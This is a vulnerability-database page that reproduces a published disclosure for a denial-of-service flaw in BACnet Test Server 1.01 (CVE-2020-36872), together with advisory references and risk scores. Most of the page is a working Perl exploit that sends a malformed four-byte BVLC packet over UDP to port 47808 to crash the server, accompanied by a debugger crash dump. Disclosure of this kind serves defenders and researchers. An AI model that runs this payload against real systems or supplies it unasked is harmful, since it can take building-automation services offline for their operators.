BACnet Test Server 1.01 Remote Denial of Service Exploit

🗓️ 06 Oct 2020 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 194 Views

BACnet Test Server 1.01 Remote Denial of Service Exploit. Vulnerability in BACnet Test Server 1.01 allows remote attackers to cause a denial of service (DoS) via a crafted BVLC Length UDP packet to port 47808

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2020-36872	26 Nov 202523:20	–	circl
CNNVD	BACnet Test Server 资源管理错误漏洞	26 Nov 202500:00	–	cnnvd
CVE	CVE-2020-36872	26 Nov 202522:13	–	cve
Cvelist	CVE-2020-36872 BACnet Test Server 1.01 Malformed BVLC Length DoS	26 Nov 202522:13	–	cvelist
EUVD	EUVD-2020-30820	27 Nov 202500:30	–	euvd
NVD	CVE-2020-36872	26 Nov 202523:15	–	nvd
Positive Technologies	PT-2025-48193	26 Nov 202500:00	–	ptsecurity
RedhatCVE	CVE-2020-36872	2 Dec 202512:22	–	redhatcve
Vulnrichment	CVE-2020-36872 BACnet Test Server 1.01 Malformed BVLC Length DoS	26 Nov 202522:13	–	vulnrichment

<html><body><p>#!/usr/bin/perl
#
# BACnet Test Server 1.01 Remote Denial of Service Exploit
#
# 
# Vendor: BACnet Interoperability Test Services, Inc.
# Product web page: https://www.bac-test.com
#                   https://sourceforge.com/projects/bacnetserver
# Affected version: 1.01 (BACnet Stack Version 0.5.7)
#
# Summary: This is a simple BACnet Server aimed at developers who
# want to explore or test their BACnet Client implementations of
# the ASHRAE BACnet protocol. It is based on Steve Karg's fine
# implementation of the BACnet Stack.
#
# Desc: The BACNet Test Server is vulnerable to a denial of service
# (DoS) vulnerability when sending malformed BVLC Length UDP packet
# to port 47808 causing the application to crash.
#
# Type - 0x81
# BVLC Function
# - 0x01 - Write Broadcast Distribution Table
# - 0x02 - Read Broadcast Distribution Table
# - 0x03 - Read Broadcast Distribution Table ACK
# - 0x04 - Forwarded NPDU with optional Originating Device IP address and Port included in BVLL header
# - 0x05 - Register Foreign Device with expiration timeout (Time-to-live) in seconds
# - 0x0a - Original-Unicast-NPDU used to send directed NPDUs to another BACnet/IP device or router.
#   Optional Originating Device IP address and Port NOT included in BVLL header.
# - 0x0b - Original-Broadcast-NPDU used by devices (except foreign devices) to broadcast messages on B/IP networks.
# - 0x0c - Secure-BVLL
# - BVLL Length
# - IP address of Originating Device - optional depending on BVLC Function Code
# - Port number of Originating Device - optional depending on BVLC Function Code
# - NPDU - Network Layer Protocol Data Unit
#
# =================================================================
# (67c.2f34): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Program Files (x86)\BACnet Interoperability Testing Services, Inc\BACnet Server\Server.exe
# eax=00600000 ebx=00692000 ecx=009bd796 edx=005fee00 esi=005fec04 edi=005fed00
# eip=00994313 esp=005fec04 ebp=005fed00 iopl=0         nv up ei pl nz ac pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
# Server+0x34313:
# 00994313 8810            mov     byte ptr [eax],dl          ds:002b:00600000=?? 
# 0:000&gt; d 994313 +77
# 0099438a cccccccc
# 0099438e cccccccc
# 00994392 cccccccc
# 00994396 cccccccc
# 0099439a cccccccc
# 0:000&gt; d esp
# 005fec04 005ff3f8
# 005fec08 005ff408
# 005fec0c 00692000
# 005fec10 cccccccc
# 005fec14 cccccccc
# 004fec18 cccccccc
# =================================================================
#
# Tested on: Microsoft Windows 10 Professional (EN)
#            Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5597
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5597.php
#
#
# 05.08.2019
#

use strict;
use warnings;
use IO::Socket::INET;

my $target = "10.0.99.34";
my $porta = 47808;
my $proto = "udp";
my $stype = SOCK_DGRAM;
my $timeout = 1;

my $socket = new IO::Socket::INET (
PeerHost =&gt; $target,
PeerPort =&gt; $porta,
Proto =&gt; $proto,
Type =&gt; $stype,
Timeout =&gt; $timeout
) or die "Socket error. : $!\n";

print "Connected to: $target:$porta\n";

$| = 1;
binmode $socket;

my $data = "\x81\x09\xFF\xFE";

print "Sending: $data [ ".length($data)." bytes ]\n";
send ($socket, $data, 0) or die "Nope: $!\n";
print "Done.\n";

$socket-&gt;close();
</p></body></html>

06 Oct 2020 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 48.7

EPSS0.00344

SSVC